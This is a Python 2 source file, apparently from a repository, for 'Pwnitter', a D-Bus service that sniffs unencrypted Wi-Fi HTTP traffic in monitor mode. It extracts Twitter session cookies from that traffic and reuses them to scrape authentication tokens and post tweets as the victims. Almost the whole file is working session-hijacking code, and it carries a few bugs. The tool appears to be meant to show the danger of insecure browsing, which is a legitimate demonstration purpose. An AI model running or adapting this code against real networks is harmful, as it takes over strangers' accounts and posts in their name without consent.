Added StartFromFile to DBus Interface to call Pwnitter with a PCap file
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import socket
11 import time
12 import gobject
13 import select
14 import subprocess
15
16 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
17
18 def usage(): 
19     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
20     sys.exit(1)
21
22 NAME = 'de.cryptobitch.muelli.Pwnitter'
23
24 class Pwnitter(dbus.service.Object):
25     def __init__(self, bus, object_name, device='mon0'):
26         super(Pwnitter, self).__init__(bus, object_name)
27         self.device = device
28         
29         self.status = status
30         self.is_running = False
31
32     def setup_monitor(device='mon0'):
33         # FIXME: Replace hardcoded interface 
34         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
35         subprocess.call(cmd)
36         cmd = '/sbin/ifconfig mon0 up'.split()
37         subprocess.call(cmd)
38     
39     @dbus.service.method(NAME,
40                          in_signature='', out_signature='')
41     def Start(self, filename=None):
42         # FIXME: Prevent double Start()
43         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
44             self.setup_monitor(self.device)
45         self.is_running = True
46         try:
47             self.cap = pcap.pcap(device)
48         except OSError, e:
49             print "Error setting up %s" % device
50             raise e
51         self.cap.setfilter('dst port 80')
52         cap_fileno = self.cap.fileno()
53         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
54
55     @dbus.service.method(NAME,
56                          in_signature='s', out_signature='')
57     def StartFromFile(self, filename):
58         return self.Start(filename=filename)
59
60     
61     def cap_readable_callback(self, source, condition, device):
62         return self.pwn(device, self.MessageSent)
63         
64     @dbus.service.signal(NAME)
65     def MessageSent(self, who):
66         print "Emitting MessageSent"
67         return who
68         return False
69         pass
70
71     @dbus.service.method(NAME,
72                          in_signature='s', out_signature='')
73     def SetMessage(self, message):
74         self.status = message
75         
76     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
77                          in_signature='', out_signature='s')
78     def GetMessage(self):
79         return self.status
80
81
82     def tear_down_monitor(device='mon0'):
83         cmd = '/sbin/ifconfig mon0 down'.split()
84         subprocess.call(cmd)
85         cmd = '/usr/sbin/iw dev mon0 del'.split()
86         subprocess.call(cmd)
87     
88     @dbus.service.method(NAME,
89                          in_signature='', out_signature='')
90     def Stop(self):
91         self.is_running = False
92         print "Receive Stop"
93         gobject.source_remove(self.source_id)
94         self.tear_down_monitor(self.device)
95         loop.quit()
96
97
98     def pwn(self, device, tweeted_callback=None):
99         processed = {}
100         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
101             ts, raw = self.cap.next()
102             eth = dpkt.ethernet.Ethernet(raw)
103             #print 'got a packet'  
104             # Depending on platform, we can either get fully formed packets or unclassified radio data
105             if isinstance(eth.data, str):
106                 data = eth.data
107             else:
108                 data = eth.data.data.data
109
110             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
111             if hostMatches:
112                 print 'Host matched'
113                 host = hostMatches.group(1)
114
115                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
116                 if cookieMatches:
117                     cookie = cookieMatches.group(1)
118
119                     headers = {
120                         "User-Agent": "Mozilla/5.0",
121                         "Cookie": cookie,
122                     }
123                     
124                     conn = httplib.HTTPSConnection(host)
125                     try:
126                         conn.request("GET", "/", None, headers)
127                     except socket.error, e:
128                         print e
129                     else:
130                         response = conn.getresponse()
131                         page = response.read()
132
133                         # Newtwitter and Oldtwitter have different formatting, so be lax
134                         authToken = ''
135
136                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
137                         if formMatches:
138                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
139
140                             if authMatches:
141                                 authToken = authMatches.group(1)
142
143                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
144                         if not nameMatches:
145                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
146
147                         name = ''
148                         if nameMatches:
149                             name = nameMatches.group(1)
150
151
152                         # We don't want to repeatedly spam people
153                         # FIXME: What the fuck logic. Please clean up
154                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
155                             headers = {
156                                 "User-Agent": "Mozilla/5.0",
157                                 "Accept": "application/json, text/javascript, */*",
158                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
159                                 "X-Requested-With": "XMLHttpRequest",
160                                 "X-PHX": "true",
161                                 "Referer": "http://api.twitter.com/p_receiver.html",
162                                 "Cookie": cookie
163                             }
164
165
166                             print 'Issueing connection'
167                             if host == 'mobile.twitter.com':
168
169                                 params = urllib.urlencode({
170                                     'tweet[text]': self.status,
171                                     'authenticity_token': authToken
172                                 })
173
174                                 conn = httplib.HTTPConnection("mobile.twitter.com")
175                                 conn.request("POST", "/", params, headers)
176
177                             else:
178
179                                 params = urllib.urlencode({
180                                     'status': self.status,
181                                     'post_authenticity_token': authToken
182                                 })
183
184                                 conn = httplib.HTTPConnection("api.twitter.com")
185                                 conn.request("POST", "/1/statuses/update.json", params, headers)
186
187
188                             response = conn.getresponse()
189                             print 'Got response: %s' % response.status
190                             if response.status == 200 or response.status == 302 or response.status == 403:
191
192                                 if name:
193                                     processed[name] = 1
194
195                                 # 403 is a dupe tweet
196                                 if response.status != 403:
197                                     print "Successfully tweeted as %s" % name
198                                     print 'calling %s' % tweeted_callback
199                                     if tweeted_callback:
200                                         tweeted_callback(name)
201                                 else:
202                                     print 'Already tweeted as %s' % name
203
204                             else:
205
206                                 print "FAILED to tweet as %s, debug follows:" % name
207                                 print response.status, response.reason
208                                 print response.read() + "\n"
209         return self.is_running # Execute next time, we're idle
210     # FIXME: Ideally, check     whether Pcap has got data for us
211
212 def main():
213
214     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
215     device = None
216     for o, a in opts:
217         if o == '-i':
218             device = a
219         else:
220             usage()
221     #pwn(device)
222
223
224
225 if __name__ == '__main__':
226     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
227
228     #session_bus = dbus.SessionBus()
229     session_bus = dbus.SystemBus()
230     name = dbus.service.BusName(NAME, session_bus)
231     pwnitter = Pwnitter(session_bus, '/Pwnitter')
232     #object.Start()
233
234     loop = gobject.MainLoop()
235     print "Running example signal emitter service."
236     # FIXME: This is debug code
237     #gobject.idle_add(pwnitter.MessageSent)
238     
239     loop.run()
240     print "Exiting for whatever reason"
241     #main()